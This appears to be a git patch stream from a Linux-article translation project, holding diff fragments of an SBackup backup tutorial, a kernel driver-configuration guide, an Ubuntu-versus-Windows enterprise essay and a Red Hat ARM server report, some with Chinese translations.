7 days. By default SBackup will do full backup every 7 days. Then you can define the compression format for your backup file. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0021.jpg) - -### Include ### - -This tab pretty self-explanatory. You can include the files/folders that you want to backup using SBackup. Here you can either select individual files or entire folder to backup. I deleted all directories in the include section and added single directory called “Resume”. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0031.jpg) - -### Exclude ### - -Just like Include tab, we can define the files/folders path to exclude from being backed-up by SBackup. Just select the path of the files/folders that needs to be excluded from backup. By default SBackup will exclude the /media, /var/run/, /var/cache/, /var/spool/ and /vat/tmp/ directories. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0041.jpg) - -Further more, you can add the file types that you want to exclude from backup such mp3 or avi etc. By default SBackup exclude files such as mp3, avi, mpeg, mkv, ogg and iso from backup. If you want to include them in your backup, just select and click remove to add them in your backup. Also if you want to add some other file types in the exclude list, just add them by clicking on the add button. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_005.jpg) - -By default SBackup won’t backup the folders .gvfs, .thumbnails, .Trash and .cache etc. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0061.jpg) - -Also you can omit the files/folders of certain size from backup. Here i excluded the files/folders which are bigger than 100MB in size. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0071.jpg) - -### Destination ### - -This is the path where you want to store your backup file. As i mentioned above, you can backup files/folders either in your local hard drive or to an external destination such as FTP, NAS etc. Here i am going to save my backups in /home/sk/My Backup directory. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_019.jpg) - -**Note:** Make sure that destination has enough free space to store the backup. - -### Schedule ### - -In this section you can schedule the backups at a particular time. Click on the **Simple** radio button and select your schedule type such as hourly, daily, weekly and monthly. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_010.jpg) - -If you’re good at command line crontab, select custom and define the cron job. If you select the daily schedule type, a cron job will be created in the **/etc/cron.daily/** location. - - sudo ls -l /etc/cron.daily/sbackup - -Sample output: - - lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch - -### Purging ### - -This section gives you the option to delete the backup files after a particular period. By default, your backup files will be deleted after 30 days. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0111.jpg) - -### Report ### - -Report is the final section. From here you can define to receive the mail notification directly in your inbox after the backups got finished. Enter your mail id, smtp server address, email username and password and click Test settings. Be mindful that, before test the mail settings save the configuration by clicking on the Save Configuration button on the Tool bar. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0121.jpg) - -You’ll see a message “Test Successful” after testing your mail settings. - -### Start Backup ### - -If you want to start backup immediately, click **Make Backup now button** on the SBackup tool bar. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_015.jpg) - -A new window will open. Click Yes to create backup. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/sbackup-config-gtk_024.jpg) - -Now you can see that a backup process will be started in the background. You can monitor the progress of the backup by means of the status indicator displayed in the notification area. - -After completing the backup, close SBackup and check for your backup in the destination directory. In my case my destination directory is /home/sk/My Backup. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_020.jpg) - -### Restore backup ### - -From your Terminal run command: - - sudo sbackup-restore-gtk - -In the SBackup restoration window, select the date to get the list of the available backups and select the any one of the available snapshots. Click on the any one of the files to restore on the Restoration management pane. Once you done, click **restore** to save them in the default location or click **restore as** to save the files in a custom location. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_023.jpg) - -Now the data will be restored from the selected backup. That’s it. - -### Sources: ### - -- [https://launchpad.net/sbackup][1] -- [http://sourceforge.net/projects/sbackup/][2] -

This next article will cover various drivers. + +First, the "virtio console" is a virtual console that is used with hypervisors. + +The "IPMI top-level message handler" is a message manager for the IPMI system. IPMI stands for Intelligent Platform Management Interface. IPMI is an interface for managing the system via network without using a shell. + +"/dev/nvram support" permits the system to read and write memory in the real time clock's memory. Generally, this feature is used for saving data during a power loss. + +The next driver supports the Siemens R3964 packet protocol (Siemens R3964 line discipline). This is a device-to-device protocol. + +Now, we can move on to PCMCIA character devices. However, most of the drivers here are vendor/device specific. + +The RAW driver allows block devices to be bound to the device files /dev/raw/rawN (RAW driver (/dev/raw/rawN)). The advantage to this is efficient zero-copy. However, most software will still prefer to access the storage through /dev/sd** or /dev/hd**. + +Next, the maximum number of RAW devices can be supported is set. + +The following driver makes the device file /dev/hpet (HPET - High Precision Event Timer). + +NOTE: Many of you may be wondering why enabling these device file matter. Well, these device files serve as an interface between the software and hardware. + +The HPET timers can be mapped with this driver (Allow mmap of HPET). Mapping is the process of making a list of address in memory of devices and files. The files can then be found faster by getting the address from the memory and then commanding the hard-drive to get the data from the address. + + +The "Hangcheck timer" is used to detect whether of not the system has locked-up. +This timer watches for locked-up processes. As soon as a process freezes, a timer starts. After the timer goes off, if the process has not restarted or closed, then the timer will force the process to close. + +Linus Torvalds Quote: Portability is for people who cannot write new programs. + +The TPM security chip that uses Trusted Computing Group's specification will need this driver (TPM Hardware Support). + +Now, we can move on to I2C devices. I2C stands for Inter-Integrated Circuit and is spoken as "eye two see". However, some people say "eye squared see". I2C is a serial bus standard. + +Some old software used I2C adapters as class devices, but software now does not do that (Enable compatibility bits for old user-space). So, this driver will offer backwards compatibility for older software. + +Next, the I2C device files can be made (I2C device interface). + +I2C can support multiplexing with this driver (I2C bus multiplexing support). + +I2C can support GPIO-controlled multiplexing with this driver (GPIO-based I2C multiplexer). + +Various tests can be performed on I2C and SMBus with this driver for developers (I2C/SMBus Test Stub). + +The I2C system will produce debugging messages with this feature enabled (I2C Core debugging messages). + +The next driver produces additional I2C debugging messages (I2C Algorithm debugging messages). + +Linus Torvalds Quote: The main reason there are no raw devices [in Linux] is that I personally think that raw devices are a stupid idea. + +The following driver will cause the I2C drivers to produce debugging messages (I2C Bus debugging messages). + +Next, we have Serial Peripheral Interface support (SPI support). SPI is a synchronous serial protocol used on SPI buses. + +After that, there is a driver for High speed synchronous Serial Interface support (HSI support). HSI is a synchronous serial protocol. + +PPS can also be supported by the Linux kernel (PPS support). + +The "IP-over-InfiniBand" driver allows IP packets to be transported over InfiniBand. + +After that, there is a debugging driver for IP-over-InfiniBand (IP-over-InfiniBand debugging). + +SCSI's RDMA protocol can also travel over InfiniBand (InfiniBand SCSI RDMA Protocol). + +There is also an extension for the iSCSI protocol to transmit over InfiniBand (iSCSI Extensions for RDMA (iSER)). + +Sometimes, errors occur in the core system that the whole system must know (EDAC (Error Detection And Correction) reporting). This driver sends the core errors to the system. Generally, such low-level errors are reported in the processor and then seen by this driver to let other system processes know about or handle the error. + +This driver provides legacy support for EDAC to use older versions of sysfs (EDAC legacy sysfs). + +EDAC can be set to send debugging information to the logging system of Linux (Debugging). + +Linus Torvalds Quote: Nobody actually creates perfect code the first time around, except me. + +The Machine Check Exceptions (MCEs) are converted to a readable form via this driver (Decode MCEs in human-readable form (only on AMD for now)). +MCEs are hardware errors detected by the CPU. MCEs usually trigger kernel panics. + +The decoding process for MCE to a readable form can be injected to test error handling (Simple MCE injection interface over /sysfs). + +The next driver allows errors to be detected in memory and then corrected (Main Memory EDAC (Error Detection And Correction) reporting). + +Next, there are many drivers that detect and correct errors on specific hardware sets. + +Linus Torvalds Quote: Theory and practice sometimes clash. And when that happens, theory loses. Every single time. + +Now, we can move on to the "Real Time Clock". This is commonly abbreviated "RTC". The RTC keeps track of time. + +![](http://www.linux.org/attachments/rtc-png.606/) + +The next setting allows us to make the Linux system use the time from the RTC as the time on the "wall clock" (Set system time from RTC on startup and resume). The wall clock is the clock on the desktop or the time seen using the "date" command. + +Alternately, the wall clock can get the time from an NTP server and then sync with the RTC (Set the RTC time based on NTP synchronization). + +Some systems have more than one RTC, so the user must set which is the default (RTC used to set the system time). +It is best to make the first one (/dev/rtc0) the primary clock. + +Debugging abilities can be set for the RTC system (RTC debug support). + +The RTC can use various interfaces for giving the operating system the current time. Using sysfs will require this driver (/sys/class/rtc/rtcN (sysfs)) while using proc will require this driver (/proc/driver/rtc (procfs for rtcN)). Special RTC character devices can be made and used (/dev/rtcN (character devices)). The shell command "hwclock" uses /dev/rtc, so the RTC character devices are needed. + +The next driver allows interrupts of the RTC to be emulated on the /dev/ interface (RTC UIE emulation on dev interface). This driver reads the clock time and allows the new time to be retrieved from /dev/. + +The RTC system can be tested with the test driver (Test driver/device). + +Next, we will discuss the Direct Memory Access system. +DMA is the process of hardware accessing the memory independently of the processor. DMA increases system performance because the processor will have less to do if the hardware is performing more tasks for itself. Otherwise, the hardware would be waiting for the processor to complete the task. + +The debugging engine is for debugging the DMA system (DMA Engine debugging). + +Next, there are many vendor/device specific drivers for DMA support. + +Some DMA controllers support big endian reading and writing with this driver (Use big endian I/O register access). + +Big endian refers to the arrangement of the binary code. The number system used in English speaking countries places the largest end of the number on the left. For example, in the number 17, the most left numbers place is the tens place which is larger than the ones place. In big endian, each byte is arranged with the largest portion on the left.

Windows -================================================================================ -The "year of the Linux desktop" has been prophesied by Linux supporters almost every year for the last decade. This was once a lofty goal in the Microsoft-dominated enterprise, but times are changing. Linux has grown into a formidable competitor in the smartphone and cloud computing markets, which has caught Microsoft off guard. More importantly, Google, IBM, Red Hat, Facebook, and Netflix have made huge investments into Linux innovations. - -Now, with shrinking technology budgets and rising Microsoft licensing fees, it's time for IT to seriously consider desktop Linux deployment as an alternative to Windows. The timing for this couldn't be better: Windows 8.1 was just released, as was the latest version of Ubuntu, 13.10. Windows XP has just five months of support left, so companies need to make the switch to something new. Ubuntu may just have what companies need to support their desktop OS needs. I'll look at various considerations for making the Linux desktop switch, including training and support, as well as potential complications. - -I know that Ubuntu has lost some of the favor it once enjoyed in the open source community. Canonical, the creators of Ubuntu, have made some unpopular choices, including changing the display manager -- the base component of the graphical interface in Linux-- to the internally developed Mir instead of Wayland. However, Ubuntu remains completely open source and offers the most painless install of any Linux distribution or even Windows version, for that matter. Canonical also offers paid support, which may be needed in enterprise environments. - -There has always been the argument that end users will need retraining if they switch over to a new desktop interface. Microsoft's controversial decision to overhaul the familiar interface for Windows 8.1 now requires just as much training as switching to Linux. Ubuntu's Unity desktop has evolved into a user friendly interface that is arguably more easily understood by end users than Windows 8.1. - -For example, compare how a user shuts down the system in each operating system. In all recent versions of Ubuntu, it starts with one click in the right corner of the screen, where the symbol for on-off is located. A menu drops down and one more click shuts down the machine. Windows 8.1 requires a right-click on the Start button, where a menu drops down allowing for a shutdown. This was a vast improvement over Windows 8, which required a trip to the charms bar, but still not as obvious as an icon located directly on the screen. - -End-user training for applications is a less complex task nowadays, thanks to the Windows versions of many popular open source applications. Users may already be familiar with Firefox, LibreOffice, Pidgin, and VLC Media Player on Windows. Commercial applications used in business, such as Skype and Adobe Acrobat, function just like their Windows equivalents. Cloud-based applications such as Google Drive or Microsoft Office 365 work well on Ubuntu. - -Legacy Windows applications can be accessed through the familiar Citrix client or open source RDP clients. Companies also can use open source virtualization products such as VirtualBox to run the most stubborn legacy Windows applications. - -On the support front, many technicians will remember the earlier days of Linux when hardware support was extremely limited. That simply is not the case anymore. - -Linux hardware support is oftentimes better than the latest versions of Windows. Many hardware vendors have been dropping driver support for newer versions of Windows. The open source drivers in Linux can be kept up to date by anyone in the developer community, so a lot of older hardware is fully supported in the latest versions of Ubuntu. This fact, plus Ubuntu's lower system requirements, will allow companies to extend the life of hardware once destined for the recycling bin. - -While there are upsides to a Linux desktop replacement program, there are some potential difficulties companies should consider. While many technicians have already been using Linux or will be motivated by the prospect of learning new skills, there also will be technicians who have spent a lot of time developing a comfort level managing Windows and may be reluctant to embrace the change. - -Citing salary trends is one way to address this potential issue. The salaries of positions with Linux skills requirements are rising at nearly double the rate of other technical professionals, according to Dice. - -Companies under stringent compliance requirements may have difficulties switching over to Linux. For example, HIPAA requires encryption that meets FIPS-140-2 requirements. Most open source encryption projects do not have sponsors to get them through the NIST certification to meet this requirement. Open source may actually be more secure than proprietary software because of the number of people that have reviewed the source code, but surprisingly that doesn't matter in the world of compliance. - -Businesses need to understand their compliance requirements and develop a plan for training IT staff before deciding to move forward with a full conversion. But overall, Ubuntu Linux has matured into a viable alternative to proprietary operating systems in the enterprise. The effort companies put into a Linux desktop replacement program will be worth the savings in licensing fees. Next year may finally be the “year of the Linux desktop.” - - -> Joseph Granneman has more than 20 years of technology experience, primarily focused in health care information technology.

This next article will cover various drivers. - -First, the "virtio console" is a virtual console that is used with hypervisors. - -The "IPMI top-level message handler" is a message manager for the IPMI system. IPMI stands for Intelligent Platform Management Interface. IPMI is an interface for managing the system via network without using a shell. - -"/dev/nvram support" permits the system to read and write memory in the real time clock's memory. Generally, this feature is used for saving data during a power loss. - -The next driver supports the Siemens R3964 packet protocol (Siemens R3964 line discipline). This is a device-to-device protocol. - -Now, we can move on to PCMCIA character devices. However, most of the drivers here are vendor/device specific. - -The RAW driver allows block devices to be bound to the device files /dev/raw/rawN (RAW driver (/dev/raw/rawN)). The advantage to this is efficient zero-copy. However, most software will still prefer to access the storage through /dev/sd** or /dev/hd**. - -Next, the maximum number of RAW devices can be supported is set. - -The following driver makes the device file /dev/hpet (HPET - High Precision Event Timer). - -NOTE: Many of you may be wondering why enabling these device file matter. Well, these device files serve as an interface between the software and hardware. - -The HPET timers can be mapped with this driver (Allow mmap of HPET). Mapping is the process of making a list of address in memory of devices and files. The files can then be found faster by getting the address from the memory and then commanding the hard-drive to get the data from the address. - - -The "Hangcheck timer" is used to detect whether of not the system has locked-up. -This timer watches for locked-up processes. As soon as a process freezes, a timer starts. After the timer goes off, if the process has not restarted or closed, then the timer will force the process to close. - -Linus Torvalds Quote: Portability is for people who cannot write new programs. - -The TPM security chip that uses Trusted Computing Group's specification will need this driver (TPM Hardware Support). - -Now, we can move on to I2C devices. I2C stands for Inter-Integrated Circuit and is spoken as "eye two see". However, some people say "eye squared see". I2C is a serial bus standard. - -Some old software used I2C adapters as class devices, but software now does not do that (Enable compatibility bits for old user-space). So, this driver will offer backwards compatibility for older software. - -Next, the I2C device files can be made (I2C device interface). - -I2C can support multiplexing with this driver (I2C bus multiplexing support). - -I2C can support GPIO-controlled multiplexing with this driver (GPIO-based I2C multiplexer). - -Various tests can be performed on I2C and SMBus with this driver for developers (I2C/SMBus Test Stub). - -The I2C system will produce debugging messages with this feature enabled (I2C Core debugging messages). - -The next driver produces additional I2C debugging messages (I2C Algorithm debugging messages). - -Linus Torvalds Quote: The main reason there are no raw devices [in Linux] is that I personally think that raw devices are a stupid idea. - -The following driver will cause the I2C drivers to produce debugging messages (I2C Bus debugging messages). - -Next, we have Serial Peripheral Interface support (SPI support). SPI is a synchronous serial protocol used on SPI buses. - -After that, there is a driver for High speed synchronous Serial Interface support (HSI support). HSI is a synchronous serial protocol. - -PPS can also be supported by the Linux kernel (PPS support). - -The "IP-over-InfiniBand" driver allows IP packets to be transported over InfiniBand. - -After that, there is a debugging driver for IP-over-InfiniBand (IP-over-InfiniBand debugging). - -SCSI's RDMA protocol can also travel over InfiniBand (InfiniBand SCSI RDMA Protocol). - -There is also an extension for the iSCSI protocol to transmit over InfiniBand (iSCSI Extensions for RDMA (iSER)). - -Sometimes, errors occur in the core system that the whole system must know (EDAC (Error Detection And Correction) reporting). This driver sends the core errors to the system. Generally, such low-level errors are reported in the processor and then seen by this driver to let other system processes know about or handle the error. - -This driver provides legacy support for EDAC to use older versions of sysfs (EDAC legacy sysfs). - -EDAC can be set to send debugging information to the logging system of Linux (Debugging). - -Linus Torvalds Quote: Nobody actually creates perfect code the first time around, except me. - -The Machine Check Exceptions (MCEs) are converted to a readable form via this driver (Decode MCEs in human-readable form (only on AMD for now)). -MCEs are hardware errors detected by the CPU. MCEs usually trigger kernel panics. - -The decoding process for MCE to a readable form can be injected to test error handling (Simple MCE injection interface over /sysfs). - -The next driver allows errors to be detected in memory and then corrected (Main Memory EDAC (Error Detection And Correction) reporting). - -Next, there are many drivers that detect and correct errors on specific hardware sets. - -Linus Torvalds Quote: Theory and practice sometimes clash. And when that happens, theory loses. Every single time. - -Now, we can move on to the "Real Time Clock". This is commonly abbreviated "RTC". The RTC keeps track of time. - -![](http://www.linux.org/attachments/rtc-png.606/) - -The next setting allows us to make the Linux system use the time from the RTC as the time on the "wall clock" (Set system time from RTC on startup and resume). The wall clock is the clock on the desktop or the time seen using the "date" command. - -Alternately, the wall clock can get the time from an NTP server and then sync with the RTC (Set the RTC time based on NTP synchronization). - -Some systems have more than one RTC, so the user must set which is the default (RTC used to set the system time). -It is best to make the first one (/dev/rtc0) the primary clock. - -Debugging abilities can be set for the RTC system (RTC debug support). - -The RTC can use various interfaces for giving the operating system the current time. Using sysfs will require this driver (/sys/class/rtc/rtcN (sysfs)) while using proc will require this driver (/proc/driver/rtc (procfs for rtcN)). Special RTC character devices can be made and used (/dev/rtcN (character devices)). The shell command "hwclock" uses /dev/rtc, so the RTC character devices are needed. - -The next driver allows interrupts of the RTC to be emulated on the /dev/ interface (RTC UIE emulation on dev interface). This driver reads the clock time and allows the new time to be retrieved from /dev/. - -The RTC system can be tested with the test driver (Test driver/device). - -Next, we will discuss the Direct Memory Access system. -DMA is the process of hardware accessing the memory independently of the processor. DMA increases system performance because the processor will have less to do if the hardware is performing more tasks for itself. Otherwise, the hardware would be waiting for the processor to complete the task. - -The debugging engine is for debugging the DMA system (DMA Engine debugging). - -Next, there are many vendor/device specific drivers for DMA support. - -Some DMA controllers support big endian reading and writing with this driver (Use big endian I/O register access). - -Big endian refers to the arrangement of the binary code. The number system used in English speaking countries places the largest end of the number on the left. For example, in the number 17, the most left numbers place is the tens place which is larger than the ones place. In big endian, each byte is arranged with the largest portion on the left. A byte is eight bits. Example: 10110100. Each place has a value of 128, 64, 32, 16, 8, 4, 2, and 1 respectively. So the byte mentioned converts to the decimal number 180. - -The DMA system can use the network to reduce CPU usage (Network: TCP receive copy offload). - -The "DMA Test Client" is used for testing the DMA system. - -In the next article, we will discuss the display/video drivers.

High Precision Event Timer)。 + +注意：你们中很多人可能会想知道为什么要启用这些设备文件问题。好的，这些设备文件充当了一个软件和硬件之间的接口。 + +通过这个驱动可以映射HPET驱动(Allow mmap of HPET)。映射是一个生成设备和文件在内存中的地址列表。文件接着可以通过内存地址更快地找到并且接着指挥硬盘从地址中得到数据。 + +"Hangcheck timer"用于检测系统是否被锁定。这个定时器监视着锁定进程。当一个进程被冻结了，定时器就开启。当定时器停止后，如果进程还没有重启或者关闭，那么定时器会强迫进程关闭。 + +引用Linus Torvalds的话：可移植性是对于那些无法写新程序的人而言的。 + +使用Trusted Computing Group(可信赖计算组)规范的TPM安全芯片会需要这个驱动(TPM Hardware Support)。 + +现在，我们可以进入I2C设备。I2C代表的是"Inter-Integrated Circuit"(内部集成电路)并经常被成为"eye two see"。然而，一些人会说"eye squared see"。I2C是一种串行总线标准。 + +一些旧的软件将I2C适配器作为类设备，但是如今的软件不会这么做(Enable compatibility bits for old user-space)。所以，这个驱动会提供对旧软件的向后支持。 + +接下来，可以生成I2C设备文件(I2C device interface)。 + +I2C可以通过这个驱动提供复用支持(I2C bus multiplexing support)。 + +I2C可以通过这个驱动支持GPIO控制的复用(GPIO-based I2C multiplexer)。 + +对于开发者用这个驱动可以在I2C和SMBus上执行不同的测试(I2C/SMBus Test Stub)。 + +I2C系统启用这个特性可以生成调试信息(I2C Core debugging messages)。 + +下一个驱动生成额外的I2C调试信息(I2C Algorithm debugging messages)。 + +引用Linus Torvalds的话：Linux中没有原始设备的原因似乎我个人任何原始设备是一个愚蠢的注意。 + +下面的驱动会使I2C驱动生成调试信息(I2C Bus debugging messages)。 + +接下来，我们有串行外设接口(Serial Peripheral Interface)支持(SPI support)。SPi是一种用于SPI总线的同步串行协议。 + +在这之后，有一个驱动用于高速同步串行接口(High speed synchronous Serial Interface support)支持(HSI support)。HSI是一种同步串行协议。 + +PPS同样在Linux内核中支持(PPS support)。 + +"IP-over-InfiniBand"驱动支持IP包通过InfiniBand(译注：一种无限带宽技术)传输。 + +在这之后，有一个调试驱动用于IP-over-InfiniBand(IP-over-InfiniBand debugging)。 + +SCSI的RDMA协议同样可以通过InfiniBand传输(InfiniBand SCSI RDMA Protocol)。 + +这里同样有一种通过InfiniBand传输iSCSI协议的扩展(iSCSI Extensions for RDMA (iSER))。 + +有时候，错误发生在了整个系统必须知道的核心系统中(EDAC (Error Detection And Correction) reporting)。这个驱动发送核心给系统。通常地，这类底层错误由处理器中报告并接着由这个驱动让其他系统进程知道或者处理错误。 + +这个驱动提供了在老版本中的sysfs中使用的过时EDAC的支持(EDAC legacy sysfs)。 + +EDAC可以用来设置发送调试信息给Linux的日志系统(Debugging)。 + +引用Linus Torvalds的话：没有人可以第一次创造如此好的代码，除了我。 + +"Machine Check Exceptions"(机器检测异常)(MCEs)通过这个驱动被转化成可读的信息(Decode MCEs in human-readable form (only on AMD for now))。MCEs是由CPU检测到的硬件错误。MCEs通常触发内核错误。 + +将MCE解码成可读的形式的过程可以被注射用于测试错误处理(Simple MCE injection interface over /sysfs)。 + +下一个驱动允许错误在内存中被检测到并纠正(Main Memory EDAC (Error Detection And Correction) reporting)。 + +下面，还有很多用于特定设备组的检测和纠正错误的驱动。 + +引用Linus Torvalds的话：理论和实践有时会冲突。那这个发生时，理论输了。每次都是。 + +现在我们可以进入实时时钟("Real Time Clock")。这通常缩写为"RTC"。RTC一直跟随着时间。 + +![](http://www.linux.org/attachments/rtc-png.606/) + +下面的设定允许用户在Linux系统中使用RTC时间作为"挂钟"时间(Set system time from RTC on startup and resume)。这个挂钟是我们在桌面上或者通过"date"命令看到的时间。 + +另外，挂钟可以通过NTP服务器得到时间并与RTC同步(Set the RTC time based on NTP synchronization)。 + +一些系统有几个RTC，所以用户必须设置哪一个是默认 (RTC used to set the system time)。最好设置第一个(/dev/rtc0)为主时钟。 + +可以设置RTC系统的调试特性(RTC debug support)。 + +RTC可以使用不同的接口给予操作系统当前时间。使用sysfs会需要这个驱动(/sys/class/rtc/rtcN (sysfs))，而似乎用proc需要这个驱动 (/proc/driver/rtc (procfs for rtcN))。特殊的RTC字符设备可以生成并使用 (/dev/rtcN (character devices))。shell命令"hwclock"使用/dev/rtc,所以RTC字符设备。 + +下一个驱动允许在/dev接口上模拟RTC中断(RTC UIE emulation on dev interface)。这个驱动读取时钟时间并允许新的时间从/dev中检索。 + +RTC系统可以通过测试驱动测试(Test driver/device)。 + +下面，我们会讨论直接内存访问系统。DMA是硬件独立于处理器的内存访问过程。DMA增加的系统性能因为处理器将做得更少如果硬件自身做了更多的任务。不然，硬件会等待处理器完成任务。 + +这是调试DMA系统的调试引擎(DMA Engine debugging)。 + +接下来，有许多的供货商/设备特定驱动用于DMA支持。 + +一些DMA通过这个驱动支持大端读取和写入(Use big endian I/O register access)。 + +大端指的是二进制码的排列。英语国家的数字系统将数字的最大端放在左边。比如，数字17，最左的数字是放置十位的地方大于个位。在大端中，每字节最大的放在左边。字节有8位。比如：10110100。每一处都有相应的值128、64、32、16、8、4、2、1。所以提到的为被转换成十进制180。 + +DMA系统可以使用网络减小CPU使用(Network: TCP receive copy offload)。 + +"DMA Test Client"用于测试DMA系统。 + +下一篇文章中，我们会讨论显示/视频驱动。谢谢！ + +参考：Linus Torvalds的引用来自于:[http://en.wikiquote.org/wiki/Linus_Torvalds][1] + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-17.4875/ + +译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikiquote.org/wiki/Linus_Torvalds \ No newline at end of file From 20864e2551a1e212f8a3898d369ac8611086871d Mon Sep 17 00:00:00 2001 From: NearTan Date: Fri, 15 Nov 2013 15:48:49 +0800 Subject: [PATCH 083/402] test --- ...

So further down the line, if we do have a need to respond to the market, we will have the capability to do that," said Jon Masters, chief ARM architect at Red Hat. Masters spoke Friday at the USENIX LISA (Large Installation System Administration) conference in Washington, D.C. - -The ARM processor represents a "sea change in computing," Masters said. While already the dominant architecture for smartphone and embedded computing devices, ARM processors could also play a role in the data center. Over the past year, servers based on ARM processors have started to show up in the server market. HP is already selling ARM-based servers with its Moonshot line. - -For the data center, because of its low-power design, ARM could bring about an age of hyperscale computing, in which thousands of tiny compute nodes can be packed into a single server rack. "It is a fundamental difference in terms of the sheer scale of what we will be able to build in the near future," Masters said. - -The ARM processors may not run at the speed of x86 processors, but they can offer most of the performance with a fraction of the energy usage, meaning more processors can be packed into a smaller space. "You can take the same technology that goes into your cell phone and make that part of a dense server design" Masters said. - -Many jobs do not require the fastest processors available, he said. Instead the workloads can be spread across more processors. "It's about how much data I can move, not necessarily how much compute I can do," he said. Cloud computing and Web applications, for instance, would do equally well spread out across multiple servers as they would running on fewer, but faster servers. - -ARM's design could also simplify data-center operations. ARM's system on a chip design can eliminate the need for managing many of the external components of servers. For instance, an ARM processor could offer fabric interconnectivity, reducing the need for external cables and top-of-the-rack switches. - -"The days of having discrete cabling for every single blade are numbered," he said. - -There is still a lot of work that needs to be done to bring about hyperscale computing, Masters said. - -ARM licenses its architecture rather than selling processors as Intel does. As a result, there is a fair amount of variation among the different ARM processors from vendors. "There is a lot of gratuitous variation that we don't need to have," Masters said. This can be problematic for data centers that need uniform systems so they can be managed en masse. - -[Linaro][1] is an industry group working to build core open-source software for the ARM platform and part of its mission has been to standardize ARM. Red Hat engineers play a major role in the Linaro Enterprise Group, or LEG, which has been working to standardize the software so users can get one version of Linux to run across ARM processors from multiple vendors. "Those are fundamental expectations in the enterprise space," Masters said. - -"We do need to focus on how to make them fundamentally compatible so you can add value further up the stack," he said. - -Another issue is the support of peripherals, which hasn't been standardized across 32-bit ARM processors. Masters said that LEG is looking into using the ACPI (Advanced Configuration and Power Interface) standard or UEFI (Unified Extensible Firmware Interface) for 64-bit ARM processors. Over time, ARM will offer an automated bus-like capability that will work like PCI buses offer on x86 machines. - -Masters said that Red Hat has not made any announcements about when it would release a version of Red Hat Enterprise Linux for ARM, but he did note that the Fedora Project, the community Linux distribution that tests many of the applications that go into RHEL, now offers a distribution for ARM. - --------------------------------------------------------------------------------- - -via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122 - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.linaro.org/ \ No newline at end of file diff --git a/translated/Red Hat prepares for 64-bit ARM servers.md b/translated/Red Hat prepares for 64-bit ARM servers.md new file mode 100644 index 0000000000..2768911441 --- /dev/null +++ b/translated/Red Hat prepares for 64-bit ARM servers.md @@ -0,0 +1,42 @@ +Red Hat 准备64位ARM服务器 +================================================================================ +> ARM处理器可能带来具有成千上万的节点的服务器机架，Red Hat的ARM首席预测 + +IDG新闻服务 - 企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展，为保持在数据中心的新生平台建立专业体系。 + +“你们在当今的商业产品市场看不到我们，但我们已经建立了超越如今一些64位技术的能力。所以接下来，如果我们有一个需要应对的市场，我们将有能力应对，”Red Hat首席ARM设计师Jon Masters说。这是Masters周五在华盛顿特区举行的USENIX LISA（大型安装系统管理）会议上提出的。 + +ARM处理器代表了“计算上翻天覆地的变化，”Masters说。虽然已经在智能手机和嵌入式计算设备占据主导地位，ARM处理器架构还可以在数据中心发挥作用。在过去的一年中，基于ARM处理器的服务器已经开始出现在服务器市场。惠普已经开始销售基于ARM架构的Moonshot系列服务器。 + +对于数据中心，ARM可能会带来超大规模计算时代因其低功耗设计，这样数千个微型计算节点可以打包成一个服务器机架。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。 + +ARM处理器可能无法以x86处理器的速度运行，但它们可以提供大部分的性能而只消耗一小部分使用量，这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术，作为高密度服务器设计的一部分”Masters说。 + +他说，许多工作并不需要最快的处理器。相反，工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系，并不一定和我能做多少计算有关，”他说。例如，云计算和Web应用程序运行在多个服务器上，和运行在较少但速度更快的服务器上的表现会同样出色。 + +ARM的设计也可以简化数据中心操作。ARM系统上芯片设计可以解决管理许多服务器的外部元件的需要。例如，ARM处理器可以提供构造的互联互通，减少外部电缆和顶级机架交换机的需要。 + +“每一个刀片都具有离散布线已经指日可待了， ”他说。 + +超大规模计算还需要做大量的工作，Masters说。 + +ARM授权架构而和英特尔卖处理器不一样。其结果是，从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的，不必要的变化，”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。 + +[Linaro][1]是一个致力于为ARM平台和部分已经标准化ARM任务开发核心开源软件的产业群。Red Hat的工程师发挥了重要作用，Linaro企业集团，或称为LEG，一直在努力规范软件，让用户可以得到一个能运行在不同供应商提供的ARM处理器的Linux版本。”这些都是在企业领域的基本期望，”Masters说。 + +“我们需要把重心放在如何使它们从根本上兼容，这样你可以进一步增加堆栈的值，”他说。 + 